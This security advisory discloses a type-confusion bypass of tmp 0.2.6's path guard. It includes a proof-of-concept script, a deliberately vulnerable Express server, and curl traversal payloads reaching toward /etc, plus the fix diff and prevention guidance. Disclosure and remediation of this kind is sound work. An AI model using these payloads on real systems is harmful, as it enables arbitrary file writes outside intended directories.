GHSA-7c78-jf6q-g5cm CVE-2026-49982
tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template
- Severity
- 8.2 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.50%
- Chance of exploitation in the next 30 days. Higher than 42.55% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-20 Improper Input Validation
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
0.2.7- Upgrade tmp to this version or later
Description
Summary
The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.
This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.
Impact
- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
- Directory creation outside the intended tree (via
tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.
Vulnerable code
lib/tmp.js at tag v0.2.6, commit 41f7159:
// lib/tmp.js:533-539
function _assertPath(path) {
if (path.includes("..")) {
throw new Error("Relative value not allowed");
}
return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
opts.prefix ? opts.prefix : 'tmp',
'-',
process.pid,
'-',
_randomChars(12),
opts.postfix ? '-' + opts.postfix : ''
].join('');
return path.join(tmpDir, opts.dir, name);
Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.
How untrusted data reaches _assertPath
Two production-realistic shapes that yield a non-string prefix/postfix/template:
- JSON request bodies.
express.json()(and any other JSON body parser) preserves the parsed value's type. A body of{"prefix":["../escape"]}reaches the handler as an Array. qs-style bracket-array query strings. Express 4's defaultqsparser turns?prefix[]=../escapeinto['../escape']. The same applies to any framework usingqs(Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).
The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.
Proof of concept (string vs array)
poc.js (run after npm install tmp@0.2.6):
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('[negative control] string "../escape" - must be blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
console.log(' UNEXPECTED, file at:', r.name);
r.removeCallback();
} catch (e) {
console.log(' BLOCKED as expected:', e.message);
}
console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
const r = tmp.fileSync({
tmpdir: baseDir,
prefix: { toString: () => '../escape', includes: () => false }
});
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
Observed output on tmp@0.2.6:
[negative control] string "../escape" - must be blocked
BLOCKED as expected: Relative value not allowed
[bypass] array ["../escape"] - same effective value, not blocked
CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
ESCAPED: true
[bypass] duck-typed object {toString, includes} - also not blocked
CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
ESCAPED: true
End-to-end reproduction (against the deployed npm package)
Install:
mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5
victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);
app.post('/upload', (req, res) => {
const userPrefix = req.body.prefix; // attacker-controlled
console.log('[victim] received prefix:', JSON.stringify(userPrefix),
'(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');
tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
if (err) {
console.log('[victim] tmp error:', err.message);
return res.status(400).json({ error: err.message });
}
fs.writeSync(fd, 'attacker-controlled-content');
fs.closeSync(fd);
const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
res.json({ filepath, escaped, tenantBase: TENANT_BASE });
});
});
app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
Run:
node victim-server.js &
Drive three requests from another shell:
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
Captured transcript (verbatim from the test rig):
=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}
=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}
=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}
Server log:
[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'
Observations:
- ATTACK 1 (string
../escape-string) is rejected at_assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array
["../escape-array"]) passes the guard and creates a file at/private/tmp/escape-array-..., outside the tenant base/tmp/tenant-base-3XHwPZ. The file content isattacker-controlled-content. Confirmed withls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick wheel 64 May 27 20:25 .
Tenant base is empty. The escape is complete.
- ATTACK 3 (array
["../../../etc/poc-tmp-bypass"]) reachesfs.openfor/etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}
The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.
Suggested fix
Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.
--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
/**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
*
* @private
*/
-function _assertPath(path) {
- if (path.includes("..")) {
+function _assertPath(option, value) {
+ if (typeof value !== 'string') {
+ throw new Error(`${option} option must be a string, got "${typeof value}".`);
+ }
+ if (value.includes("..")) {
throw new Error("Relative value not allowed");
}
- return path;
+ return value;
}
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
options.unsafeCleanup = !!options.unsafeCleanup;
// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
- options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
- options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+ options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+ options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+ options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
}
Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.
Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tmp npm → 0.2.7
- npm
npm install tmp@0.2.7- yarn
yarn add tmp@0.2.7- pnpm
pnpm add tmp@0.2.7
Severity breakdown
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-ph9p-34f9-6g65 tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape | High | Also affects tmp |
| GHSA-52f5-9888-hmc6 tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter | Medium | Also affects tmp |
| GHSA-m665-v7pm-7grj zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE | Critical | Same weakness, CWE-20 |
| GHSA-g5ff-637f-6q2m LiteLLM: internal_user_viewer arbitrary local file read via `vertex_ai_credentials` | High | Same weakness, CWE-20 |
| GHSA-h3rc-j82p-2c3h vLLM: Untrusted EPS inputs can trigger denial of service or Ghostscript RCE | High | Same weakness, CWE-20 |
| GHSA-8c8m-p3m8-cjg8 Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient | Medium | Same weakness, CWE-20 |
| GHSA-m943-m63m-w62w Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient | Medium | Same weakness, CWE-20 |
| GHSA-85x2-q946-cp5h Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name | Medium | Same weakness, CWE-20 |
Credits: tonghuaroot
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor